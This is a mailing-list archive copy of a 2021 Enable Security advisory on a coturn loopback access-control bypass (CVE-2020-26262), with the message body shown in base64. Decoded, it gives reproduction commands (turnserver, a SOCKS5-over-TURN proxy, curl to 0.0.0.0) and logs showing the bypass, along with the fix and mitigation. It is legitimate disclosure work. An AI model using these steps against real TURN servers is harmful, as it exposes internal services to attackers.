Advisory: ES2021-01 - Loopback access cont rol bypass in coturn by using 0.0.0.0, [::1] or [::] as the peer address
"Sandro Gauci" <[email protected]> Mon, 11 Jan 2021 15:10:13 +0100
| Newsgroups | gmane.comp.voip.security.voipsa,gmane.comp.security.oss.general,gmane.comp.security.bugtraq,gmane.comp.security.fulldisclosure |
|---|---|
| Message-ID | <[email protected]> |
IyBMb29wYmFjayBhY2Nlc3MgY29udHJvbCBieXBhc3MgaW4gY290dXJuIGJ5IHVzaW5nIDAuMC4w LjAsIFs6OjFdIG9yIFs6Ol0gYXMgdGhlIHBlZXIgYWRkcmVzcwoKLSBGaXhlZCB2ZXJzaW9uOiA0 LjUuMgotIEVuYWJsZSBTZWN1cml0eSBBZHZpc29yeTogaHR0cHM6Ly9naXRodWIuY29tL0VuYWJs ZVNlY3VyaXR5L2Fkdmlzb3JpZXMvdHJlZS9tYXN0ZXIvRVMyMDIxLTAxLWNvdHVybi1hY2Nlc3Mt Y29udHJvbC1ieXBhc3MKLSBDb3R1cm4gU2VjdXJpdHkgQWR2aXNvcnk6IGh0dHBzOi8vZ2l0aHVi LmNvbS9jb3R1cm4vY290dXJuL3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS02ZzZqLXI5cmYtY203 cAotIE90aGVyIHJlZmVyZW5jZXM6CiAgICAtIENWRS0yMDIwLTI2MjYyCiAgICAtIGh0dHBzOi8v d3d3LnJ0Y3NlYy5jb20vcG9zdC8yMDIxLzAxL2RldGFpbHMtYWJvdXQtY3ZlLTIwMjAtMjYyNjIt YnlwYXNzLW9mLWNvdHVybnMtZGVmYXVsdC1hY2Nlc3MtY29udHJvbC1wcm90ZWN0aW9uLwotIFRl c3RlZCB2dWxuZXJhYmxlIHZlcnNpb25zOiA0LjUuMS54Ci0gVGltZWxpbmU6CiAgICAtIFJlcG9y dCBkYXRlOiAyMDIwLTExLTIwCiAgICAtIElzc3VlIGNvbmZpcm1lZCBieSBjb3R1cm4gZGV2ZWxv cGVyczogMjAyMC0xMS0yMwogICAgLSBTZWN1cml0eSBwYXRjaCBwcm92aWRlZCBieSBFbmFibGUg U2VjdXJpdHk6IDIwMjAtMTEtMzAKICAgIC0gUmVmYWN0b3JpbmcgYnkgY290dXJuIGRldmVsb3Bl cnM6IDIwMjAtMTItMDcgdG8gMjAyMC0xMi0xMAogICAgLSBKb2ludCBFbmFibGUgU2VjdXJpdHkg YW5kIENvdHVybiBwcm9qZWN0IGFkdmlzb3J5IHB1YmxpY2F0aW9uOiAyMDIxLTAxLTExCgojIyBE ZXNjcmlwdGlvbgoKQnkgZGVmYXVsdCBjb3R1cm4gZG9lcyBub3QgYWxsb3cgcGVlcnMgdG8gY29u bmVjdCBhbmQgcmVsYXkgcGFja2V0cyB0byBsb29wYmFjayBhZGRyZXNzZXMgaW4gdGhlIHJhbmdl IG9mIGAxMjcueC54LnhgLiBIb3dldmVyLCBpdCB3YXMgb2JzZXJ2ZWQgdGhhdCB3aGVuIHNlbmRp bmcgYSBgQ09OTkVDVGAgcmVxdWVzdCB3aXRoIHRoZSBgWE9SLVBFRVItQUREUkVTU2AgdmFsdWUg b2YgYDAuMC4wLjBgLCBhIHN1Y2Nlc3NmdWwgcmVzcG9uc2Ugd2FzIHJlY2VpdmVkIGFuZCBzdWJz ZXF1ZW50bHksIGBDT05ORUNUSU9OQklORGAgYWxzbyByZWNlaXZlZCBhIHN1Y2Nlc3NmdWwgcmVz cG9uc2UuIENvdHVybiB0aGVuIHdhcyBhYmxlIHRvIHJlbGF5IHBhY2tldHMgdG8gbG9jYWwgbmV0 d29yayBzZXJ2aWNlcy4KCkFkZGl0aW9uYWxseSwgd2hlbiBjb3R1cm4gd2FzIGxpc3RlbmluZyBv biBJUHY2LCB3aGljaCBpcyB0aGUgZGVmYXVsdCBzZXR0aW5nLCBsb2NhbCBzZXJ2aWNlcyBjb3Vs ZCBhbHNvIGJlIHJlYWNoZWQgYnkgbWFraW5nIHVzZSBvZiBlaXRoZXIgYFs6OjFdYCBvciBgWzo6 XWAgYXMgdGhlIHBlZXIgYWRkcmVzcy4KCiMjIEltcGFjdAoKQnkgdXNpbmcgdGhlIGFkZHJlc3Mg YDAuMC4wLjBgIGFzIHRoZSBwZWVyIGFkZHJlc3MsIGEgbWFsaWNpb3VzIHVzZXIgd2lsbCBiZSBh YmxlIHRvIHJlbGF5IHBhY2tldHMgdG8gdGhlIGxvb3BiYWNrIGludGVyZmFjZSwgdW5sZXNzIGAt LWRlbmllZC1wZWVyLWlwPTAuMC4wLjBgIChvciBzaW1pbGFyKSBoYXMgYmVlbiBzcGVjaWZpZWQu IFNpbmNlIHRoZSBkZWZhdWx0IGNvbmZpZ3VyYXRpb24gaW1wbGllcyB0aGF0IGxvb3BiYWNrIHBl ZXJzIGFyZSBub3QgYWxsb3dlZCwgY290dXJuIGFkbWluaXN0cmF0b3JzIG1heSBjaG9vc2UgdG8g bm90IHNldCB0aGUgYGRlbmllZC1wZWVyLWlwYCBzZXR0aW5nLiBTaW1pbGFyIGltcGxpY2F0aW9u cyBhcHBseSB0byB0aGUgSVB2NiBlcXVpdmFsZW50IG9mIGBbOjoxXWAgYW5kIGBbOjpdYC4KCiMj IEhvdyB3ZSByZXByb2R1Y2VkIHRoZSBpc3N1ZQoKMS4gUnVuIGNvdHVybiB1c2luZyB0aGUgZm9s bG93aW5nIGNvbW1hbmQ6CgogICAgICAgdHVybnNlcnZlciAtdiAtLXVzZXI9dXNlcm5hbWUxOnBh c3N3b3JkMQoxLiBSdW4gb3VyIGludGVybmFsIHRvb2wgYHN0dW5uZXJgLCBhY3RpbmcgYXMgYSBz b2NrczUgcHJveHkgd2hpY2ggdXNlcyBUVVJOLgoKICAgICAgIHN0dW5uZXIgdHVybiBwZWVyIHBy b3h5IHNvY2tzNSB0Y3A6Ly8xNzIuMTcuMC4yOjM0NzggXAogICAgICAgICAgIC0tbG9jYWwtYmlu ZCAwLjAuMC4wOjk5OTkgLXUgdXNlcm5hbWUxOnBhc3N3b3JkMQoxLiBSdW4gYSBjVVJMIGNvbW1h bmQgdG8gY29ubmVjdCB0byBgMTI3LjAuMC4xOjgwYC4KCiAgICAgICBjdXJsIC14IHNvY2tzNWg6 Ly8xMjcuMC4wLjE6OTk5OSBodHRwOi8vMTI3LjAuMC4xCjEuIFRoZSBmb2xsb3dpbmcgbG9nIHdh cyBvYnNlcnZlZCwgY29uZmlybWluZyB0aGF0IGAxMjcuMC4wLjFgIGlzIGJlaW5nIGJsb2NrZWQ6 CgogICAgICAgNzI1OiBJUHY0LiB0Y3Agb3IgdGxzIGNvbm5lY3RlZCB0bzogMTcyLjE3LjAuMToz NjUwNAogICAgICAgNzI1OiBzZXNzaW9uIDAxMTAwMDAwMDAwMDAwMDAwMTogcmVhbG0gPDE3Mi4x Ny4wLjI+IHVzZXIgPD46IAogICAgICAgICAgIGluY29taW5nIHBhY2tldCBtZXNzYWdlIHByb2Nl c3NlZCwgZXJyb3IgNDAxOiBVbmF1dGhvcml6ZWQKICAgICAgIDcyNTogSVB2NC4gTG9jYWwgcmVs YXkgYWRkcjogMTcyLjE3LjAuMjo1MTcwNQogICAgICAgNzI1OiBzZXNzaW9uIDAxMTAwMDAwMDAw MDAwMDAwMTogbmV3LCByZWFsbT08MTcyLjE3LjAuMj4sIHVzZXJuYW1lPTx1c2VybmFtZTE+LCAK ICAgICAgICAgICBsaWZldGltZT02MDAKICAgICAgIDcyNTogc2Vzc2lvbiAwMTEwMDAwMDAwMDAw MDAwMDE6IHJlYWxtIDwxNzIuMTcuMC4yPiB1c2VyIDx1c2VybmFtZTE+OiAKICAgICAgICAgICBp bmNvbWluZyBwYWNrZXQgQUxMT0NBVEUgcHJvY2Vzc2VkLCBzdWNjZXNzCiAgICAgICA3MjU6IHNl c3Npb24gMDExMDAwMDAwMDAwMDAwMDAxOiByZWFsbSA8MTcyLjE3LjAuMj4gdXNlciA8dXNlcm5h bWUxPjogCiAgICAgICAgICAgaW5jb21pbmcgcGFja2V0IENPTk5FQ1QgcHJvY2Vzc2VkLCBlcnJv ciA0MDM6IEZvcmJpZGRlbiBJUAogICAgICAgNzI1OiBzZXNzaW9uIDAxMTAwMDAwMDAwMDAwMDAw MTogcmVhbG0gPDE3Mi4xNy4wLjI+IHVzZXIgPHVzZXJuYW1lMT46IAogICAgICAgICAgIGluY29t aW5nIHBhY2tldCBtZXNzYWdlIHByb2Nlc3NlZCwgZXJyb3IgNDAzOiBGb3JiaWRkZW4gSVAKMS4g UnVuIGEgY1VSTCBjb21tYW5kIHRvIGNvbm5lY3QgdG8gYDAuMC4wLjA6ODBgLgoKICAgICAgIGN1 cmwgLXggc29ja3M1aDovLzEyNy4wLjAuMTo5OTk5IGh0dHA6Ly8wLjAuMC4wCjEuIFRoZSBmb2xs b3dpbmcgbG9nIHdhcyBvYnNlcnZlZCwgY29uZmlybWluZyB0aGF0IHRoZSBsb29wYmFjayBwcm90 ZWN0aW9uIGhhcyBiZWVuIGJ5cGFzc2VkOgoKICAgICAgIDEwMTA6IElQdjQuIHRjcCBvciB0bHMg Y29ubmVjdGVkIHRvOiAxNzIuMTcuMC4xOjM3MjQwCiAgICAgICAxMDEwOiBzZXNzaW9uIDAwNTAw MDAwMDAwMDAwMDAwMTogcmVhbG0gPDE3Mi4xNy4wLjI+IHVzZXIgPD46IAogICAgICAgICAgIGlu Y29taW5nIHBhY2tldCBtZXNzYWdlIHByb2Nlc3NlZCwgZXJyb3IgNDAxOiBVbmF1dGhvcml6ZWQK ICAgICAgIDEwMTA6IElQdjQuIExvY2FsIHJlbGF5IGFkZHI6IDE3Mi4xNy4wLjI6NjI1MDQKICAg ICAgIDEwMTA6IHNlc3Npb24gMDA1MDAwMDAwMDAwMDAwMDAxOiBuZXcsIHJlYWxtPTwxNzIuMTcu MC4yPiwgCiAgICAgICAgICAgdXNlcm5hbWU9PHVzZXJuYW1lMT4sIGxpZmV0aW1lPTYwMAogICAg ICAgMTAxMDogc2Vzc2lvbiAwMDUwMDAwMDAwMDAwMDAwMDE6IHJlYWxtIDwxNzIuMTcuMC4yPiB1 c2VyIDx1c2VybmFtZTE+OiAKICAgICAgICAgICBpbmNvbWluZyBwYWNrZXQgQUxMT0NBVEUgcHJv Y2Vzc2VkLCBzdWNjZXNzCiAgICAgICAxMDEwOiBzZXNzaW9uIDAwNTAwMDAwMDAwMDAwMDAwMTog cmVhbG0gPDE3Mi4xNy4wLjI+IHVzZXIgPHVzZXJuYW1lMT46IAogICAgICAgICAgIGluY29taW5n IHBhY2tldCBDT05ORUNUIHByb2Nlc3NlZCwgc3VjY2VzcwogICAgICAgMTAxMDogSVB2NC4gdGNw IG9yIHRscyBjb25uZWN0ZWQgdG86IDE3Mi4xNy4wLjE6MzcyNDIKICAgICAgIDEwMTA6IHNlc3Np b24gMDAwMDAwMDAwMDAwMDAwMDAxOiBjbGllbnQgc29ja2V0IHRvIGJlIGNsb3NlZCBpbiBjbGll bnQgaGFuZGxlcgogICAgICAgMTAxMDogc2Vzc2lvbiAwMDAwMDAwMDAwMDAwMDAwMDE6IHVzYWdl OiByZWFsbT08MTcyLjE3LjAuMj4sIHVzZXJuYW1lPTw+CiAgICAgICAxMDEwOiBzZXNzaW9uIDAw NTAwMDAwMDAwMDAwMDAwMTogcmVhbG0gPDE3Mi4xNy4wLjI+IHVzZXIgPHVzZXJuYW1lMT46IAog ICAgICAgICAgIGluY29taW5nIHBhY2tldCBDT05ORUNUSU9OX0JJTkQgcHJvY2Vzc2VkLCBzdWNj ZXNzCiAgICAgICAxMDEwOiBzZXNzaW9uIDAwMDAwMDAwMDAwMDAwMDAwMTogcGVlciB1c2FnZTog cmVhbG09PDE3Mi4xNy4wLjI+CiAgICAgICAxMDEwOiBzZXNzaW9uIDAwMDAwMDAwMDAwMDAwMDAw MTogY2xvc2VkICgybmQgc3RhZ2UpLCB1c2VyIDw+IAogICAgICAgICAgIHJlYWxtIDwxNzIuMTcu MC4yPiBvcmlnaW4gPD4sIGxvY2FsIDE3Mi4xNy4wLjI6MzQ3OCwgCiAgICAgICAgICAgcmVtb3Rl IDE3Mi4xNy4wLjE6MzcyNDIsIHJlYXNvbjogZ2VuZXJhbAoKVGhlIDV0aCBzdGVwIGNvdWxkIGJl IHJlcGVhdGVkIHdpdGggdGhlIFVSTCBvZiBgaHR0cDovL1s6OjFdYCBhbmQgYGh0dHA6Ly9bOjpd YCB3aGVyZSBvbmUgd291bGQgYWxzbyBieXBhc3MgdGhlIGRlZmF1bHQgcHJvdGVjdGlvbiBhZ2Fp bnN0IGxvb3BiYWNrIGNvbm5lY3Rpb25zLgoKIyMgU29sdXRpb24gYW5kIHJlY29tbWVuZGF0aW9u cwoKV2UgcmVjb21tZW5kIHVwZ3JhZGluZyBjb3R1cm4gdG8gdGhlIGxhdGVzdCB2ZXJzaW9uLCA0 LjUuMiB3aGljaCBmaXhlcyB0aGlzIGlzc3VlLgoKVG8gbWl0aWdhdGUgdGhpcyBpc3N1ZSBpbiBw cmV2aW91cyB2ZXJzaW9ucywgdGhlIGFkZHJlc3NlcyBpbiB0aGUgYWRkcmVzcyBibG9jayBgMC4w LjAuMC84YCBzaG91bGQgYmUgZGVuaWVkIGJ5IG1ha2luZyB1c2Ugb2YgdGhlIGBkZW5pZWQtcGVl ci1pcGAgY29uZmlndXJhdGlvbiBzZXR0aW5nLiBUaGUgZm9sbG93aW5nIGlzIGFuIGV4YW1wbGUg Y29uZmlndXJhdGlvbiB0aGF0IHByZXZlbnRzIGFjY2VzcyB0byBgMC4wLjAuMGA6CgpgYGAKZGVu aWVkLXBlZXItaXA9MC4wLjAuMC0wLjI1NS4yNTUuMjU1CmBgYAoKQWRkaXRpb25hbGx5LCBhcyBh IG1pdGlnYXRpb24gc3RlcCB3aGVuIHRoZSBwYXRjaCBjYW5ub3QgeWV0IGJlIGFwcGxpZWQsIHdl IHJlY29tbWVuZCBkaXNhYmxpbmcgSVB2NiBpZiBub3QgcmVxdWlyZWQgYnkgbGlzdGVuaW5nIG9u IGFuIElQdjQgSVAgYWRkcmVzcy4gU2VlIG91ciBibG9nIHBvc3QgZm9yIGFuIFtleHBsYW5hdGlv bl1bMV0gZm9yIHRoaXMgcmVjb21tZW5kYXRpb24uCgpbMV06IGh0dHBzOi8vd3d3LnJ0Y3NlYy5j b20vcG9zdC8yMDIxLzAxL2RldGFpbHMtYWJvdXQtY3ZlLTIwMjAtMjYyNjItYnlwYXNzLW9mLWNv dHVybnMtZGVmYXVsdC1hY2Nlc3MtY29udHJvbC1wcm90ZWN0aW9uLyNmYXEKCkVuYWJsZSBTZWN1 cml0eSB3b3VsZCBsaWtlIHRvIHRoYW5rIE3DqXN6w6Fyb3MgTWlow6FseSBhbmQgdGhlIGRldmVs b3BlcnMgYXQgQ290dXJuIGZvciB0aGUgdmVyeSBxdWljayByZXNwb25zZSBhbmQgZml4aW5nIHRo aXMgc2VjdXJpdHkgaXNzdWUuCgoKIyMgQWJvdXQgRW5hYmxlIFNlY3VyaXR5CgpbRW5hYmxlIFNl Y3VyaXR5XShodHRwczovL3d3dy5lbmFibGVzZWN1cml0eS5jb20pIGRldmVsb3BzIG9mZmVuc2l2 ZSBzZWN1cml0eSB0b29scyBhbmQgcHJvdmlkZXMgcXVhbGl0eSBwZW5ldHJhdGlvbiB0ZXN0aW5n IHRvIGhlbHAgcHJvdGVjdCB5b3VyIHJlYWwtdGltZSBjb21tdW5pY2F0aW9ucyBzeXN0ZW1zIGFn YWluc3QgYXR0YWNrLgoKIyMgRGlzY2xhaW1lcgoKVGhlIGluZm9ybWF0aW9uIGluIHRoZSBhZHZp c29yeSBpcyBiZWxpZXZlZCB0byBiZSBhY2N1cmF0ZSBhdCB0aGUgdGltZSBvZiBwdWJsaXNoaW5n IGJhc2VkIG9uIGN1cnJlbnRseSBhdmFpbGFibGUgaW5mb3JtYXRpb24uIFVzZSBvZiB0aGUgaW5m b3JtYXRpb24gY29uc3RpdHV0ZXMgYWNjZXB0YW5jZSBmb3IgdXNlIGluIGFuIEFTIElTIGNvbmRp dGlvbi4gVGhlcmUgYXJlIG5vIHdhcnJhbnRpZXMgd2l0aCByZWdhcmQgdG8gdGhpcyBpbmZvcm1h dGlvbi4gTmVpdGhlciB0aGUgYXV0aG9yIG5vciB0aGUgcHVibGlzaGVyIGFjY2VwdHMgYW55IGxp YWJpbGl0eSBmb3IgYW55IGRpcmVjdCwgaW5kaXJlY3QsIG9yIGNvbnNlcXVlbnRpYWwgbG9zcyBv ciBkYW1hZ2UgYXJpc2luZyBmcm9tIHVzZSBvZiwgb3IgcmVsaWFuY2Ugb24sIHRoaXMgaW5mb3Jt YXRpb24uCgojIyBEaXNjbG9zdXJlIHBvbGljeQoKVGhpcyByZXBvcnQgaXMgc3ViamVjdCB0byBF bmFibGUgU2VjdXJpdHkncyB2dWxuZXJhYmlsaXR5IGRpc2Nsb3N1cmUgcG9saWN5IHdoaWNoIGNh biBiZSBmb3VuZCBhdCA8aHR0cHM6Ly9naXRodWIuY29tL0VuYWJsZVNlY3VyaXR5L1Z1bG5lcmFi aWxpdHktRGlzY2xvc3VyZS1Qb2xpY3k+LgoKX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX18KVm9pcHNlYyBtYWlsaW5nIGxpc3QKVm9pcHNlY0B2b2lwc2Eub3Jn Cmh0dHA6Ly92b2lwc2Eub3JnL21haWxtYW4vbGlzdGluZm8vdm9pcHNlY192b2lwc2Eub3JnCg==